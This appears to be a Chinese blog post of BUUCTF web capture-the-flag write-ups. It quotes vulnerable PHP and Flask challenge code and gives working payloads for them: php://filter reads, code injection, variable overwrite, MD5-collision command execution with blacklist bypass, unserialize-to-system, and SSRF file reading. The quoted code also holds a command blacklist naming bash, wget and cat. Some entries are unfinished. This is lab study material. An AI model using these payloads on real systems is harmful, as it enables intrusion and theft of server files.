BUUCTF训练打卡

BJDCTF2020]ZJCTF,不过如此

首先

?text=data://text/plain,I%20have%20a%20dream&file=php://filter/read=convert.base64- encode/resource=next.php

或者

https://www.cnblogs.com/wangtanzhi/p/12328083.html

https://xz.aliyun.com/t/2557

payload:/S*=${phpinfo()}

 

 

[BJDCTF2020]Mark loves cat

检测出/.git/HEAD 说明有git源码泄露

 

目录扫描,发现git文件,说明存在git泄露。

python2 dirsearch.py -u url -e * --timeout=2 -t 1 -x 400,403,404,500,503,429
python2 dirsearch.py -u http://48a7b7e3-7fda-48d6-933c-53da0450ca75.node3.buuoj.cn/ -e * -s 1

不加-s 1延迟的话,会git文件也是429 (too many requests)

用GitHack下载git源码(没成功弄,还没搞到好的工具)

flag.php

<?php $flag = file_get_contents('/flag');

index.php

<?php
include 'flag.php';

$yds = "dog";
$is = "cat";
$handsome = 'yds';

foreach($_POST as $x => $y){         
    $$x = $y;		
}

foreach($_GET as $x => $y){
    $$x = $$y;
}

foreach($_GET as $x => $y){
//  如果GET传了参数flag 且 传参flag值并不等于flag
    if($_GET['flag'] === $x && $x !== 'flag'){  //  $x=flag      
        exit($handsome);
    }
}
// 如果GET没有传参flag 且 POST没有传参flag

if(!isset($_GET['flag']) && !isset($_POST['flag'])){
    exit($yds);
}
// 如果POST传参flag的值为flag 或 GET传参flag值为flag
if($_POST['flag'] === 'flag'  || $_GET['flag'] === 'flag'){
    exit($is);
}

echo "the flag is: ".$flag;

两种思路:

①前面的if都不进入,从而可以不被exit(),让函数执行到最后一行,输出$flag,但是前提是$flag值不能被修改

②在前面就进入if语句,利用exit()输出变量,利用变量覆盖漏洞,把前面可以输出的变量,比如exit($yds)输出$yds,想办法把$yds=$flag这样子覆盖赋值,输出flag

第一种思路:

为了不进入if,要避开所有的如果:针对三种情况,用非的思路

1、如果get传了flag,flag值要为flag

2、get和post中起码要post有一个传了flag

3、post和get传flag的话,值都不能为flag

可以发现,3种情况自相矛盾,所以不存在完美绕过

第一思路不可行

第二种思路:

进入if

1、传flag=非flag的内容

-->会修改flag的内容,不可行

2、GET没有传参flag 且 POST没有传参flag

-->可行 输出的是exit($yds) 想办法使$yds=$flag

get传:使$yds=$flag 对应代码中的$$x = $$y

foreach($_GET as $x => $y){ $$x = $$y; }

-->使$x=yds $y=flag

-->foreach($_GET as $x => $y)

-->get传yds=flag

-->可行

post传:使$yds=$flag 对应代码中的$$x = $y

foreach($_POST as $x => $y){ $$x = $y; }

-->使$x=yds y=flag

-->post传什么都做不到

-->不可行

payload:yds=flag

3、进入第三个if

即不能进入第2个if,就需要get和post中起码要post有一个传了flag,为了不改变flag,只能要传成$flag=$flag保持正常

进入第三个if

get传了flag=flag: 对应代码中的$$x = $$y

-->$flag=$flag 不改变flag

使$is=$flag

-->$x=is $y=flag

-->is=flag

-->可行

paylaod:get传flag=flag&is=flag

post传了flag=flag:对应代码中的$$x = $y

-->$flag=flag flag被改变了,成字符串

若传flag=$flag

-->$flag=$flag

-->说明$flag='$flag'这是字符串,解析不了

-->不可行

最后就两种payload

 

[安洵杯 2019]easy_web1

base64解码两次,再16进制构造内容555.png不要用那个绿色的在线解码工具,你解不出来,绿色的凯撒还会转小写,换其他网站的去解

根据这个,构造一个index.php的base64传进去,拿到源码

<?php
error_reporting(E_ALL || ~ E_NOTICE);
header('content-type:text/html;charset=utf-8');
$cmd = $_GET['cmd'];
if (!isset($_GET['img']) || !isset($_GET['cmd'])) 
    header('Refresh:0;url=./index.php?img=TXpVek5UTTFNbVUzTURabE5qYz0&cmd=');
$file = hex2bin(base64_decode(base64_decode($_GET['img'])));

$file = preg_replace("/[^a-zA-Z0-9.]+/", "", $file);
if (preg_match("/flag/i", $file)) {
    echo '<img src ="./ctf3.jpeg">';
    die("xixi~ no flag");
} else {
    $txt = base64_encode(file_get_contents($file));
    echo "<img src='data:image/gif;base64," . $txt . "'></img>";
    echo "<br>";
}
echo $cmd;
echo "<br>";
if (preg_match("/ls|bash|tac|nl|more|less|head|wget|tail|vi|cat|od|grep|sed|bzmore|bzless|pcre|paste|diff|file|echo|sh|\'|\"|\`|;|,|\*|\?|\\|\\\\|\n|\t|\r|\xA0|\{|\}|\(|\)|\&[^\d]|@|\||\\$|\[|\]|{|}|\(|\)|-|<|>/i", $cmd)) {
    echo("forbid ~");
    echo "<br>";
} else {
    if ((string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a']) === md5($_POST['b'])) {
        echo `$cmd`;
    } else {
        echo ("md5 is funny ~");
    }
}

?>
<html>
<style>
  body{
   background:url(./bj.png)  no-repeat center center;
   background-size:cover;
   background-attachment:fixed;
   background-color:#CCCCCC;
}
</style>
<body>
</body>
</html>

(string)$_POST['a'] !== (string)$_POST['b'] && md5($_POST['a'])这个东西大家都用的这个

a=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%00%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%55%5d%83%60%fb%5f%07%fe%a2
&b=%4d%c9%68%ff%0e%e3%5c%20%95%72%d4%77%7b%72%15%87%d3%6f%a7%b2%1b%dc%56%b7%4a%3d%c0%78%3e%7b%95%18%af%bf%a2%02%a8%28%4b%f3%6e%8e%4b%55%b3%5f%42%75%93%d8%49%67%6d%a0%d1%d5%5d%83%60%fb%5f%07%fe%a2

而且要用burp上传,这样就不会被编码

接着绕过命令

ca\t%20/flag

[网鼎杯 2020 朱雀组]phpweb

拿到了源码

    <?php
    $disable_fun = array("exec","shell_exec","system","passthru","proc_open","show_source","phpinfo","popen","dl","eval","proc_terminate","touch","escapeshellcmd","escapeshellarg","assert","substr_replace","call_user_func_array","call_user_func","array_filter", "array_walk",  "array_map","registregister_shutdown_function","register_tick_function","filter_var", "filter_var_array", "uasort", "uksort", "array_reduce","array_walk", "array_walk_recursive","pcntl_exec","fopen","fwrite","file_put_contents");
    function gettime($func, $p) {
        $result = call_user_func($func, $p);
        $a= gettype($result);
        if ($a == "string") {
            return $result;
        } else {return "";}
    }
    class Test {
        var $p = "Y-m-d h:i:s a";
        var $func = "date";
        function __destruct() {
            if ($this->func != "") {
                echo gettime($this->func, $this->p);
            }
        }
    }
    $func = $_REQUEST["func"];
    $p = $_REQUEST["p"];

    if ($func != null) {
        $func = strtolower($func);
        if (!in_array($func,$disable_fun)) {
            echo gettime($func, $p);
        }else {
            die("Hacker...");
        }
    }
    ?>

由于命令执行和代码执行的函数都被过滤了,除了反序列化函数

  1. system(‘ls’) : 列举当前目录下的所有文件
  2. system(“find / -name flag*”):查找所有文件名匹配flag*的文件
  3. system(“cat $(find / -name flag*)”):打印所有文件名匹配flag*的文件
<?php
    class Test {
        var $p = "id";
        var $func = "cat $(find / -name flag*)";
    }
    $a=new Test;
    $b=serialize($a);
	echo $b;
?>
payload:func=unserialize&p=O:4:"Test":2:{s:1:"p";s:18:"find / -name flag*";s:4:"func";s:6:"system";}

 

 

 

 

[De1CTF 2019]SSRF Me1

刚开始会给不熟的东西吓到,但是已经接触过了,勇敢面对其实发现还是可以做的。

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print resp
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False


#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    return getSign(action, param)


@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()


def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"



def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()


def md5(content):
    return hashlib.md5(content).hexdigest()


def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
        return True
    else:
        return False


if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

分析代码,@app.route("/geneSign", methods=['GET', 'POST'])这个目录下是用于生成签名的

@app.route('/De1ta',methods=['GET','POST']) 这个目录下调用Exec()函数,而这个函数

 tmpfile = open("./%s/result.txt" % self.sandbox, 'w')

resp = scan(self.param)

 tmpfile.write(resp)

后面又读取

f = open("./%s/result.txt" % self.sandbox, 'r')

result['data'] = f.read()

return result

可以知道这个目录下可以读取到文件,传param=flag,action包含read和scan,一般为action=readscan 当然也可以readaaasacn或者其他,只要你后面生成的sign是对应的就行,但是要以scan结尾,因为sign生成函数里是scan结尾,key开头,我们可以控制的中间的部分

 

[NCTF2019]Fake XML cookbook1

分析源码

function doLogin(){
	var username = $("#username").val();
	var password = $("#password").val();
	if(username == "" || password == ""){
		alert("Please enter the username and password!");
		return;
	}
	
	var data = "<user><username>" + username + "</username><password>" + password + "</password></user>"; 
    $.ajax({
        type: "POST",
        url: "doLogin.php",
        contentType: "application/xml;charset=utf-8",
        data: data,
        dataType: "xml",
        anysc: false,
        success: function (result) {
        	var code = result.getElementsByTagName("code")[0].childNodes[0].nodeValue;
        	var msg = result.getElementsByTagName("msg")[0].childNodes[0].nodeValue;
        	if(code == "0"){
        		$(".msg").text(msg + " login fail!");
        	}else if(code == "1"){
        		$(".msg").text(msg + " login success!");
        	}else{
        		$(".msg").text("error:" + msg);
        	}
        },
        error: function (XMLHttpRequest,textStatus,errorThrown) {
            $(".msg").text(errorThrown + ':' + textStatus);
        }
    }); 
}

[ASIS 2019]Unicorn shop1

id=111&price=12

显示Only one char(?) allowed!

id=111&price=

显示TypeError: need a single Unicode character as parameter

网页注释里有写

<meta charset="utf-8"><!--Ah,really important,seriously. -->

说明要输入utf-8编码

flag应该是要购买第4个

找一个单字符大于1377的

接着我们在这个网站搜索大于 thousand 的单个字符,购买第4个:https://www.compart.com/en/unicode/

比如:

 

 

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值